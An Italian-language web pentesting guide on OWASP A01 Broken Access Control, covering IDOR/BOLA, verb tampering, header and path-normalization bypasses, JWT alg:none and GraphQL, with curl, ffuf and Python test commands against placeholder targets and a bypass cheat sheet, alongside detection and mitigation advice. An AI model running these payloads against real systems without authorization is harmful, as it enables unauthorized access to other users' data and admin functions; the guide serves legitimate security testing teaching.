Broken Access Control: Test, Esempi e Bypass OWASP A01

Guida pratica al Broken Access Control OWASP A01:2025: privilege escalation, IDOR e BOLA, force browsing, metodi HTTP, header bypass e test con Burp Suite.
- Pubblicato il 2026-08-02
- Tempo di lettura: 13 min
Broken Access Control: cos’è e come testare i controlli di accesso #
Il Broken Access Control si verifica quando un’applicazione non controlla correttamente ciò che un utente può leggere, modificare o eseguire. Per trovarlo non basta cercare /admin: devi ripetere ogni richiesta senza sessione, con un ruolo inferiore e con un secondo utente, modificando oggetti, metodi HTTP, parametri, header e passaggi del workflow.
Il Broken Access Control è una vulnerabilità che permette a un utente di accedere a dati o funzioni per cui non possiede i permessi necessari.
In parole semplici: l’applicazione riconosce l’utente, ma non controlla correttamente cosa può fare e su quali risorse può farlo.
Un account normale potrebbe quindi:
- visualizzare dati appartenenti a un altro utente;
- modificare o eliminare risorse altrui;
- raggiungere funzioni amministrative;
- cambiare il proprio ruolo;
- accedere a file o report riservati;
- saltare un passaggio obbligatorio;
- operare su un tenant o un’organizzazione differente.
Broken Access Control mantiene la prima posizione nell’OWASP Top 10:2025. La categoria comprende 40 CWE e include errori di autorizzazione, IDOR, manipolazione dei token, force browsing e altri problemi che consentono azioni oltre i privilegi previsti.
Questa guida è stata verificata a luglio 2026 confrontando:
- OWASP Top 10:2025;
- OWASP Web Security Testing Guide;
- OWASP API Security Top 10:2023;
- PortSwigger Web Security Academy;
- HackTricks;
- PayloadsAllTheThings;
- Hackviser;
- documentazione Burp Suite.
Riferimenti principali:
- OWASP A01:2025 — Broken Access Control
- OWASP Authorization Cheat Sheet
- OWASP WSTG — Authorization Testing
- PortSwigger — Access Control Vulnerabilities
Cos’è il Broken Access Control? #
Il Broken Access Control è un errore nella logica di autorizzazione.
L’applicazione dovrebbe verificare, per ogni richiesta:
Chi è l’utente?
Quale ruolo possiede?
Può utilizzare questa funzione?
Può operare su questo specifico oggetto?
L’oggetto appartiene al tenant corretto?
L’azione è permessa nello stato attuale?Quando uno o più di questi controlli mancano, un utente può superare i limiti previsti dal sistema.
Esempio:
Alice può leggere il proprio ordine 1001.
Bob possiede l’ordine 1002.
Alice modifica:
/api/orders/1001
↓
/api/orders/1002
Il server restituisce l’ordine di Bob.L’utente era autenticato correttamente. Il problema è che il server non ha verificato se Alice fosse autorizzata ad accedere all’ordine 1002.
Autenticazione e autorizzazione: qual è la differenza? #
Autenticazione significa verificare chi sei.
Autorizzazione significa verificare cosa puoi fare.
Login corretto
↓
Identità verificata
↓
Controllo del ruolo
↓
Controllo sulla funzione
↓
Controllo sul singolo oggettoUn’applicazione può avere:
- password robuste;
- MFA;
- sessioni sicure;
- cookie
HttpOnly; - token JWT firmati;
ed essere comunque vulnerabile a Broken Access Control.
Il login non garantisce che tutti i controlli successivi siano corretti.
Tipi di Broken Access Control #
| Tipo | Cosa permette |
|---|---|
| Accesso non autenticato | Raggiungere una risorsa senza login |
| Privilege escalation verticale | Usare funzioni di un ruolo superiore |
| Privilege escalation orizzontale | Accedere alle risorse di un altro utente |
| IDOR / BOLA | Manipolare l’identificatore di un oggetto |
| BFLA | Utilizzare una funzione o un endpoint non autorizzato |
| Force browsing | Raggiungere direttamente URL nascosti |
| HTTP verb tampering | Bypassare il controllo cambiando metodo HTTP |
| Parameter tampering | Modificare ruolo, utente, tenant o permessi |
| Mass assignment | Inviare proprietà non previste dal frontend |
| Workflow bypass | Saltare controlli o passaggi intermedi |
| Token manipulation | Alterare claim o metadati usati per i privilegi |
| Path/header bypass | Sfruttare differenze tra proxy e backend |
IDOR, BOLA e BFLA: qual è la differenza? #
IDOR #
Un identificatore controllabile permette di accedere direttamente a un oggetto non autorizzato.
GET /api/orders/1002 HTTP/1.1
Cookie: session=TOKEN_ALICEBOLA #
Broken Object Level Authorization è il termine usato soprattutto nelle API.
L’utente può usare legittimamente l’endpoint, ma non dovrebbe poter operare su quello specifico oggetto.
DELETE /api/documents/5502 HTTP/1.1
Authorization: Bearer TOKEN_ALICEIl documento 5502 appartiene a Bob.
BFLA #
Broken Function Level Authorization riguarda la funzione, non il singolo oggetto.
POST /api/admin/users/42/disable HTTP/1.1
Authorization: Bearer TOKEN_UTENTEL’utente non dovrebbe poter richiamare la funzione amministrativa.
In sintesi:
IDOR / BOLA → posso operare sull’oggetto sbagliato
BFLA → posso usare una funzione non autorizzata
BAC → categoria generale che comprende entrambiPer una metodologia dedicata agli identificatori consulta IDOR.
Preparare il test #
Il metodo più affidabile consiste nell’utilizzare più account controllati.
Account A → utente normale
Account B → altro utente normale
Manager → ruolo intermedio
Admin → ruolo privilegiato
Anonimo → nessuna sessioneCostruisci una matrice dei permessi attesi:
| Funzione | Anonimo | Utente A | Utente B | Manager | Admin |
|---|---|---|---|---|---|
| Profilo di A | No | Sì | No | Dipende | Sì |
| Ordine di B | No | No | Sì | Dipende | Sì |
| Export globale | No | No | No | Sì | Sì |
| Eliminazione utente | No | No | No | No | Sì |
Questa matrice diventa l’oracolo del test: ogni comportamento differente deve essere verificato.
Workflow completo per testare Broken Access Control #
1. Mappa ruoli, endpoint, oggetti e azioni.
2. Registra una richiesta valida per ogni funzione.
3. Ripetila senza cookie o token.
4. Ripetila con un ruolo inferiore.
5. Ripetila con un secondo utente dello stesso livello.
6. Cambia identificatore dell’oggetto.
7. Cambia metodo HTTP.
8. Modifica parametri, proprietà, cookie e header.
9. Prova URL alternativi e versioni API precedenti.
10. Verifica l’effetto reale lato server.
11. Ripristina ogni modifica effettuata.Non basarti soltanto sullo status code.
Una risposta 200 OK può contenere un errore applicativo, mentre una risposta 302 Found potrebbe aver eseguito l’azione prima del redirect.
Controlla sempre:
- corpo della risposta;
- dati restituiti;
- stato finale dell’oggetto;
- azioni registrate;
- richieste successive;
- differenze semantiche;
- eventuali effetti collaterali.
Test 1 — Accesso senza autenticazione #
Rimuovi dalla richiesta:
Cookie: session=...
Authorization: Bearer ...
X-API-Key: ...Esempio:
curl -sk -i \
https://target.com/api/admin/usersCon sessione valida:
curl -sk -i \
-H "Cookie: session=TOKEN_UTENTE" \
https://target.com/api/admin/usersConfronta:
- status code;
- header
Location; - contenuto;
- dimensione;
- dati sensibili;
- azione eseguita.
Un 200 che contiene la pagina di login non conferma un bypass.
Test 2 — Force browsing #
L’interfaccia può nascondere una funzione senza proteggerla realmente.
Prima controlla:
/robots.txt
/sitemap.xml
file JavaScript
documentazione OpenAPI
Swagger UI
messaggi di errore
cronologia Burp
link restituiti dalle APIFuzzing con ffuf #
ffuf -u https://target.com/FUZZ \
-H "Cookie: session=TOKEN_UTENTE_NORMALE" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-ac \
-mc all \
-fc 404Wordlist più estesa:
ffuf -u https://target.com/FUZZ \
-H "Cookie: session=TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-ac \
-mc all \
-fc 404Endpoint interessanti:
/admin
/admin/users
/admin/dashboard
/management
/panel
/internal
/debug
/actuator
/actuator/env
/actuator/beans
/.well-known/
/api/v1/admin
/api/internal
/export
/reportsLa semplice presenza di questi endpoint non è una vulnerabilità.
Il problema esiste quando un’identità non autorizzata riesce a visualizzare dati o utilizzare funzioni riservate.
Non filtrare automaticamente 401, 403 e 302: possono aiutare a identificare endpoint reali e comportamenti differenti.
Test 3 — Privilege escalation verticale #
Un utente normale prova a richiamare direttamente una funzione amministrativa.
/admin/deleteUser?id=42
/admin/resetPassword?id=42
/admin/export-data
/admin/create-voucherEsempio:
POST /api/admin/users/42/disable HTTP/1.1
Host: target.com
Cookie: session=TOKEN_UTENTEVerifica anche:
- funzioni presenti soltanto nel JavaScript;
- route nascoste dal frontend;
- richieste eseguite dal pannello amministrativo;
- API mobile differenti dal sito;
- endpoint interni chiamati dal backend;
- versioni precedenti dell’API.
Esempi:
/api/v1/admin/users
/api/v2/admin/users
/api/v3/admin/usersUna versione recente potrebbe applicare il controllo mentre una precedente potrebbe essere ancora esposta.
Test 4 — Privilege escalation orizzontale #
Usa due account di test.
L’account B crea una risorsa:
order_id = 1002L’account A prova a leggerla:
GET /api/orders/1002 HTTP/1.1
Cookie: session=TOKEN_ACCOUNT_ARipeti il test sulle operazioni:
GET → lettura
POST → azione sull’oggetto
PUT → sostituzione
PATCH → modifica parziale
DELETE → eliminazioneGli identificatori possono trovarsi in:
- path;
- query string;
- form;
- JSON;
- XML;
- header;
- cookie;
- nome del file;
- GraphQL variables;
- URL firmati;
- campi annidati.
Non usare dati appartenenti a utenti reali estranei al test.
Payload IDOR e BOLA utili #
Identificatori numerici #
/api/users/1001
/api/users/1002
/api/users/1003Prova anche:
0
1
-1
999999Username ed e-mail #
/profile?user=john
/profile?user=john.doe
/profile?email=john.doe@example.comValori codificati #
/profile?id=am9obi5kb2VAZXhhbXBsZS5jb20=La codifica Base64 non rende l’identificatore segreto.
Wildcard #
Alcuni backend interpretano caratteri speciali come pattern:
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1Sono payload dipendenti dal router e dal backend: non funzionano in modo universale.
Array #
Richiesta originale:
{
"id": 19
}Varianti:
{
"id": [19]
}{
"id": [19, 20]
}HTTP Parameter Pollution #
/api/profile?user_id=ACCOUNT_A&user_id=ACCOUNT_BOppure:
/api/profile?user_id=ACCOUNT_B&user_id=ACCOUNT_AProxy, framework e backend possono scegliere il primo valore, l’ultimo o entrambi.
Cambio del content type #
Da JSON:
Content-Type: application/json
{"user_id": 1002}A form:
Content-Type: application/x-www-form-urlencoded
user_id=1002Oppure XML, quando supportato:
<request>
<user_id>1002</user_id>
</request>Il controllo potrebbe essere applicato soltanto a uno dei parser.
Test 5 — Parameter tampering #
Richiesta legittima:
POST /api/update-profile HTTP/1.1
Content-Type: application/json
{
"name": "John",
"email": "john@test.com"
}Aggiungi proprietà non mostrate dall’interfaccia:
{
"name": "John",
"email": "john@test.com",
"role": "admin"
}{
"name": "John",
"email": "john@test.com",
"isAdmin": true
}{
"name": "John",
"email": "john@test.com",
"admin": 1
}{
"name": "John",
"email": "john@test.com",
"user_type": "superuser"
}Altri campi utili, quando coerenti con l’applicazione:
{
"permissions": ["users:write"],
"tenantId": "OTHER_TENANT",
"accountType": "staff"
}La vulnerabilità è confermata soltanto se il backend:
- accetta il campo;
- salva la modifica;
- applica realmente il nuovo privilegio;
- consente la modifica a un utente non autorizzato.
Questo scenario può combinare Broken Access Control e mass assignment.
Cookie, hidden field e header controllabili #
Cookie #
Cookie: role=user; session=abc123Modifica:
Cookie: role=admin; session=abc123Hidden field #
<input type="hidden" name="role" value="user">Intercetta la richiesta e prova:
role=adminHeader custom #
X-User-ID: 1002
X-User-Role: admin
X-Tenant-ID: tenant-bQuesti valori possono essere legittimamente aggiunti da un reverse proxy.
La vulnerabilità esiste quando il backend accetta direttamente il valore fornito dal client senza verificarne provenienza e autorizzazione.
Test 6 — HTTP verb tampering #
Un endpoint potrebbe proteggere soltanto un metodo.
GET /admin/users/42/delete HTTP/1.1Risposta:
403 ForbiddenProva l’handler reale:
DELETE /admin/users/42 HTTP/1.1Oppure:
PATCH /api/users/42 HTTP/1.1
Content-Type: application/json
{"admin": true}HEAD può essere utile per capire se un endpoint esiste senza richiedere il corpo:
HEAD /admin/dashboard HTTP/1.1Verifica i metodi dichiarati:
curl -sk -i \
-X OPTIONS \
-H "Cookie: session=TOKEN_UTENTE" \
https://target.com/api/admin/usersScript di confronto #
Usalo soltanto su una risorsa di test non distruttiva:
import requests
url = "https://target.com/api/test-resource"
headers = {"Cookie": "session=TOKEN_NORMALE"}
verbs = ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"]
for verb in verbs:
try:
response = requests.request(
verb,
url,
headers=headers,
timeout=10,
allow_redirects=False,
)
print(
f"{verb:7} "
f"{response.status_code} "
f"{len(response.content)} bytes "
f"Location={response.headers.get('Location', '-')}"
)
except requests.RequestException as error:
print(f"{verb:7} ERROR: {error}")Non inviare automaticamente PUT, PATCH o DELETE contro dati reali.
Method override #
Alcuni framework permettono di sovrascrivere il metodo:
POST /api/users/42 HTTP/1.1
X-HTTP-Method-Override: DELETEVarianti:
X-HTTP-Method: DELETE
X-Method-Override: DELETEOppure:
_method=DELETEIl test è pertinente soltanto quando framework, gateway o applicazione supportano l’override.
Test 7 — X-Original-URL e X-Rewrite-URL #
Un reverse proxy può controllare il path originale mentre il backend usa un header per scegliere la route finale.
Richiesta bloccata:
GET /admin HTTP/1.1
Host: target.comRisposta:
403 ForbiddenVariante:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /adminAltra variante:
GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /adminCon curl:
curl -sk -i \
-H "X-Original-URL: /admin" \
https://target.com/curl -sk -i \
-H "X-Rewrite-URL: /admin" \
https://target.com/Loop corretto:
for header in X-Original-URL X-Rewrite-URL; do
code=$(curl -sk \
-o /dev/null \
-w "%{http_code}" \
-H "$header: /admin" \
https://target.com/)
echo "$header: $code"
doneQuesti header non sono supportati universalmente. Il bypass esiste soltanto se frontend e backend interpretano il path in modo differente.
Test 8 — Header basati sull’indirizzo IP #
Quando una funzione è limitata agli indirizzi interni, verifica se l’applicazione si fida di header controllabili.
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Forwarded: for=127.0.0.1Esempi:
curl -sk -i \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
https://target.com/admincurl -sk -i \
-H "X-Forwarded-For: 127.0.0.1" \
https://target.com/admincurl -sk -i \
-H "X-Real-IP: 127.0.0.1" \
https://target.com/adminLa vulnerabilità non è la presenza dell’header.
Il problema nasce quando il backend considera attendibile un valore inviato direttamente da Internet invece di accettarlo soltanto da un reverse proxy autorizzato.
Test 9 — Manipolazione e normalizzazione del path #
Proxy, WAF, server e framework possono normalizzare i percorsi in modo differente.
Payload originali:
/ADMIN
/admin/
/admin..;/
/admin%20
/admin%2e
/./admin/./
//adminUlteriori varianti:
/%61dmin
/admin;
/admin.json
/admin%2fCon curl:
curl -sk -i \
--path-as-is \
-H "Cookie: session=TOKEN_UTENTE" \
"https://target.com/./admin/./"Test multiplo:
paths=(
"/admin"
"/ADMIN"
"/admin/"
"//admin"
"/./admin/./"
"/admin..;/"
"/admin%20"
"/admin%2e"
)
for path in "${paths[@]}"; do
curl -sk \
--path-as-is \
-o /dev/null \
-w "$path -> %{http_code} %{size_download}\n" \
-H "Cookie: session=TOKEN_UTENTE" \
"https://target.com$path"
done/admin..;/ è particolarmente dipendente da container Java, Tomcat, Spring e relative versioni. Non va presentato come bypass generico.
Test 10 — Versioni API alternative #
Un controllo può essere presente nella versione corrente ma assente in una route precedente.
/api/v1/users/42
/api/v2/users/42
/api/v3/users/42Prova anche estensioni o formati differenti:
/api/users/42
/api/users/42.json
/api/users/42.xmlOppure route singolari e plurali:
/api/user/42
/api/users/42La risposta diversa non conferma da sola una vulnerabilità: verifica sempre oggetto ed effetto.
Test 11 — Workflow multi-step #
Le applicazioni possono proteggere il primo passaggio e dimenticare quello che produce l’effetto finale.
1. Inserimento dati
2. Revisione
3. Conferma
4. EsecuzioneProva a:
- richiamare direttamente l’ultimo step;
- saltare la conferma;
- cambiare account tra i passaggi;
- riutilizzare una richiesta già completata;
- modificare l’oggetto dopo l’approvazione;
- invertire l’ordine delle richieste.
Esempio:
POST /admin/users/42/promote/confirm HTTP/1.1
Cookie: session=TOKEN_UTENTEIl server deve verificare nuovamente:
- ruolo;
- proprietà dell’oggetto;
- stato corrente;
- passaggi completati;
- tenant;
- eventuale approvazione separata.
Test 12 — JWT manipulation #
Un JWT può contenere informazioni usate per le autorizzazioni:
{
"user_id": 42,
"role": "user",
"exp": 1710000000
}Decodifica veloce del payload #
Il comando originale può fallire per padding o Base64URL:
echo "eyJhbGc..." |
cut -d'.' -f2 |
base64 -d 2>/dev/null |
python3 -m json.toolVersione più robusta:
export TOKEN='eyJ...'
python3 - <<'PY'
import base64
import json
import os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
print(json.dumps(json.loads(decoded), indent=2))
PYPayload alg: none
#
Header:
{
"alg": "none",
"typ": "JWT"
}Payload modificato:
{
"user_id": 42,
"role": "admin"
}Firma vuota:
BASE64URL_HEADER.BASE64URL_PAYLOAD.Questo test ha senso soltanto quando la libreria server accetta token non firmati.
La semplice modifica del payload non funziona se la firma viene verificata correttamente.
Per algoritmi, chiavi, claim e bypass specifici consulta JWT.
Test 13 — File, documenti ed export #
I controlli di accesso devono proteggere anche le risorse statiche.
/downloads/invoice-1001.pdf
/exports/report-2026.csv
/uploads/users/42/document.pdf
/files/tenant-a/contract.pdfVerifica:
- accesso senza sessione;
- accesso con un altro account;
- modifica dell’identificatore;
- URL ancora valido dopo logout;
- scadenza dei link firmati;
- tenant corretto;
- permesso di download distinto da quello di visualizzazione.
Un nome casuale o un UUID non sostituisce il controllo di autorizzazione.
Test 14 — GraphQL #
GraphQL può applicare controlli differenti su query, mutation e campi annidati.
query {
order(id: "1002") {
id
total
customer {
email
}
}
}Verifica separatamente:
- accesso all’ordine;
- accesso al cliente;
- campi riservati;
- mutation;
- oggetti appartenenti a un altro tenant;
- nodi recuperati tramite ID globale.
Esempio mutation:
mutation {
updateUser(
id: "42",
input: {
role: "admin"
}
) {
id
role
}
}Un controllo corretto sul resolver principale non garantisce che tutti i campi annidati siano autorizzati.
Automazione con Burp Autorize #
L’estensione Autorize ripete le richieste eseguite con un account privilegiato usando il token di un account con privilegi inferiori.
Workflow:
1. Installa Autorize dal BApp Store.
2. Inserisci cookie o header dell’utente normale.
3. Limita il test agli host in scope.
4. Naviga nell’applicazione come amministratore.
5. Autorize ripete le richieste con il token low-priv.
6. Analizza le differenze.
7. Conferma manualmente ogni risultato.Non considerare automaticamente vulnerabile una risposta simile.
Due risposte possono:
- avere la stessa dimensione ma dati differenti;
- restituire lo stesso template;
- contenere messaggi diversi;
- eseguire azioni differenti;
- usare redirect dopo il controllo.
Strumenti complementari:
- AuthMatrix;
- Authz;
- Burp Repeater;
- Burp Comparer;
- Match and Replace.
Consulta anche Burp Suite.
Come confermare il risultato #
Una vulnerabilità è confermata quando puoi dimostrare:
Identità utilizzata
↓
Permesso previsto
↓
Richiesta modificata
↓
Risorsa o funzione ottenuta
↓
Effetto non autorizzatoEsempio:
Account: alice
Ruolo: customer
Permesso atteso: può leggere solo i propri ordini
Richiesta: GET /api/orders/1002
Proprietario: bob
Risultato: dati completi restituiti
Impatto: accesso orizzontale ai dati di un altro utenteNon confermare il finding basandoti soltanto su:
- status
200; - dimensione differente;
- endpoint esistente;
- assenza di errore;
- valore modificato nel frontend;
- risposta non verificata;
- ruolo cambiato ma non persistito.
Falsi positivi comuni #
Pagina di login con status 200 #
La risposta non contiene la risorsa protetta.
Redirect dopo il controllo #
Un 302 può indicare accesso negato oppure un’azione eseguita prima del redirect.
Verifica lo stato finale.
Cache #
Aggiungi:
Cache-Control: no-cache
Pragma: no-cachee usa identificatori controllati.
Cookie di più account #
Il browser può inviare sessioni sovrapposte. Usa profili separati o Burp Repeater.
Token CSRF assente #
Un 403 causato dal CSRF non dimostra che l’autorizzazione sia corretta.
Mantieni un token CSRF valido e modifica soltanto l’identità.
Risorsa pubblica #
Verifica i requisiti funzionali prima di dichiarare un IDOR.
Modifica non persistita #
Il server potrebbe riflettere il valore nella risposta senza salvarlo.
Rileggi la risorsa con una seconda richiesta.
Detection #
Il Broken Access Control non produce un singolo evento standard.
La detection deve analizzare il comportamento applicativo.
Registra almeno:
- identità;
- ruolo;
- tenant;
- endpoint;
- metodo HTTP;
- oggetto richiesto;
- proprietario dell’oggetto;
- azione;
- decisione allow/deny;
- origine;
- sessione correlata.
Indicatori utili:
- accesso sequenziale a molti ID;
- ruolo basso che richiama route amministrative;
- richieste verso tenant differenti;
- variazioni ripetute del metodo HTTP;
- uso di path override;
- accesso a versioni API obsolete;
- modifica di
role,permissionsotenantId; - richieste dirette allo step finale;
- download di numerose risorse appartenenti ad altri utenti;
- wildcard o parameter pollution sugli identificatori.
Non registrare in chiaro:
- password;
- token completi;
- cookie;
- segreti API;
- dati personali non necessari.
Mitigazioni #
Deny by default #
Ogni risorsa deve essere negata finché una regola non ne consente esplicitamente l’accesso.
Controlli server-side #
Non affidarti a:
- JavaScript;
- pulsanti nascosti;
- route guard frontend;
- hidden field;
- cookie modificabili;
- claim non verificati;
- parametri controllati dal client.
Verifica su ogni richiesta #
Controlla:
utente
ruolo
funzione
oggetto
azione
tenant
stato del workflowControllo della proprietà #
Non basta verificare che l’oggetto esista.
L’utente può leggere questo oggetto?
Può modificarlo?
Può eliminarlo?
Appartiene alla sua organizzazione?
L’azione è valida nello stato corrente?Policy centralizzate #
Usa middleware, interceptor o policy riutilizzabili invece di duplicare i controlli in ogni controller.
Minimo privilegio #
Separa i permessi:
read
create
update
delete
approve
export
adminProtezione delle risorse statiche #
File, report, allegati ed export devono passare attraverso lo stesso modello autorizzativo delle API.
Test automatici #
Per ogni endpoint sensibile crea test:
utente autorizzato → consentito
utente non autorizzato → negato
altro tenant → negato
utente anonimo → negato
oggetto inesistente → risposta sicuraRate limiting e monitoring #
Il rate limiting non corregge la vulnerabilità, ma limita l’enumerazione automatizzata e migliora la rilevazione.
Come valutare l’impatto #
La severità non è automaticamente Critical.
Valuta:
- tipo di dati;
- lettura, modifica o cancellazione;
- ruolo iniziale;
- privilegi ottenuti;
- numero di utenti coinvolti;
- accesso cross-tenant;
- possibilità di automazione;
- impatto economico;
- concatenazione con altre vulnerabilità;
- persistenza dell’azione.
Esempi indicativi:
| Scenario | Impatto possibile |
|---|---|
| Lettura del profilo pubblico | Informational / Low |
| Lettura di PII altrui | Medium / High |
| Modifica di ordini altrui | High |
| Cambio del proprio ruolo | High / Critical |
| Funzione amministrativa completa | Critical |
| Accesso cross-tenant | High / Critical |
La severità finale dipende dal contesto reale.
Come scrivere il finding #
Usa un titolo specifico:
Horizontal privilege escalation in GET /api/orders/{id}oppure:
Vertical privilege escalation through POST /api/admin/users/{id}/disableIl report dovrebbe includere:
Ruolo iniziale
Permesso atteso
Account utilizzati
Oggetto controllato
Richiesta originale
Richiesta modificata
Risposta rilevante
Effetto verificato
Impatto
Riproduzione
Mitigazione
CleanupEvita titoli generici come:
Broken Access Control nel sitoDomande frequenti #
Broken Access Control e IDOR sono la stessa cosa? #
No. Broken Access Control è la categoria generale. IDOR è un caso specifico in cui un riferimento diretto, come un ID nell’URL o nel JSON, permette di accedere a un oggetto non autorizzato. Nelle API questo scenario viene spesso descritto come BOLA, Broken Object Level Authorization.
Broken Access Control richiede autenticazione? #
Non sempre. Alcune vulnerabilità permettono l’accesso senza login; altre richiedono un account con privilegi bassi. Il test deve quindi confrontare almeno tre condizioni: nessuna sessione, utente normale e utente autorizzato.
Qual è la differenza tra BOLA e BFLA? #
BOLA riguarda lo specifico oggetto: l’utente può chiamare l’endpoint ma non dovrebbe operare su quella risorsa. BFLA riguarda la funzione: l’utente non dovrebbe poter richiamare l’endpoint o l’azione, indipendentemente dall’oggetto.
Un HTTP 200 conferma la vulnerabilità? #
No. Il 200 OK può contenere una pagina di login, un errore o dati filtrati. Bisogna verificare il corpo della risposta e l’effetto reale sul server. Anche 302, 403 o risposte della stessa dimensione possono richiedere un’analisi manuale.
Come si previene il Broken Access Control? #
I controlli devono essere implementati lato server, applicati a ogni richiesta e basati su ruolo, funzione, oggetto, azione e tenant. È necessario adottare deny by default, minimo privilegio, policy centralizzate e test automatici con utenti e ruoli differenti.
Checklist operativa #
[ ] L’endpoint funziona senza autenticazione?
[ ] Un utente normale può chiamare funzioni amministrative?
[ ] Un utente può leggere oggetti di un altro account?
[ ] Può modificarli o eliminarli?
[ ] Il tenant è controllabile dal client?
[ ] Cambiando metodo HTTP cambia l’autorizzazione?
[ ] Sono supportati method override?
[ ] X-Original-URL modifica il routing?
[ ] X-Forwarded-For influenza i privilegi?
[ ] Il frontend nasconde soltanto la funzione?
[ ] Il backend accetta role o isAdmin?
[ ] Sono esposte versioni API precedenti?
[ ] Array o parameter pollution cambiano l’oggetto?
[ ] I workflow finali ricontrollano i permessi?
[ ] I file richiedono autorizzazione?
[ ] JWT e cookie vengono verificati?
[ ] GraphQL protegge campi e resolver?
[ ] È stato verificato l’effetto reale?
[ ] Le modifiche sono state ripristinate?Cheat Sheet #
# Accesso senza autenticazione
curl -sk -i \
https://TARGET/api/admin/users
# Accesso con sessione utente
curl -sk -i \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/admin/users
# Force browsing
ffuf -u https://TARGET/FUZZ \
-H "Cookie: session=USER_TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-ac -mc all -fc 404
# HTTP verb tampering
for verb in GET POST PUT PATCH DELETE; do
curl -sk \
-X "$verb" \
-o /dev/null \
-w "$verb: %{http_code} %{size_download}\n" \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/test-resource
done
# URL override
curl -sk -i \
-H "X-Original-URL: /admin" \
https://TARGET/
curl -sk -i \
-H "X-Rewrite-URL: /admin" \
https://TARGET/
# IP-based bypass
curl -sk -i \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
https://TARGET/admin
curl -sk -i \
-H "X-Forwarded-For: 127.0.0.1" \
https://TARGET/admin
# Path normalization
curl -sk -i \
--path-as-is \
-H "Cookie: session=USER_TOKEN" \
"https://TARGET/./admin/./"
# BOLA / IDOR
curl -sk -i \
-H "Cookie: session=TOKEN_ACCOUNT_A" \
https://TARGET/api/orders/ID_ACCOUNT_B
# Parameter pollution
curl -sk -i \
-H "Cookie: session=TOKEN_ACCOUNT_A" \
"https://TARGET/api/profile?user_id=ACCOUNT_A&user_id=ACCOUNT_B"
# Wildcard
curl -sk -i \
-H "Cookie: session=USER_TOKEN" \
"https://TARGET/api/users/*"
# Method override
curl -sk -i \
-X POST \
-H "X-HTTP-Method-Override: DELETE" \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/test-resourceArticoli Hackita correlati #
- IDOR — Insecure Direct Object Reference
- Auth e Access Control: guida completa
- Privilege Escalation Web
- JWT: exploitation e bypass
- CORS Misconfiguration
- ffuf
- Burp Suite
- Attacchi alle applicazioni web
Fonti tecniche #
Fonti primarie #
- OWASP Top 10:2025 — A01 Broken Access Control
- OWASP Authorization Cheat Sheet
- OWASP WSTG — Authorization Testing
- OWASP — Bypassing Authorization Schema
- OWASP API1:2023 — Broken Object Level Authorization
- PortSwigger — Access Control Vulnerabilities
- PortSwigger — Testing Access Controls with Burp Suite
Fonti operative #
- HackTricks — Web API Pentesting
- HackTricks — IDOR
- PayloadsAllTheThings — IDOR
- PayloadsAllTheThings — GraphQL
- Hackviser — HTTP/HTTPS Pentesting
Utilizza queste tecniche esclusivamente su applicazioni di tua proprietà o per le quali possiedi un’autorizzazione esplicita.








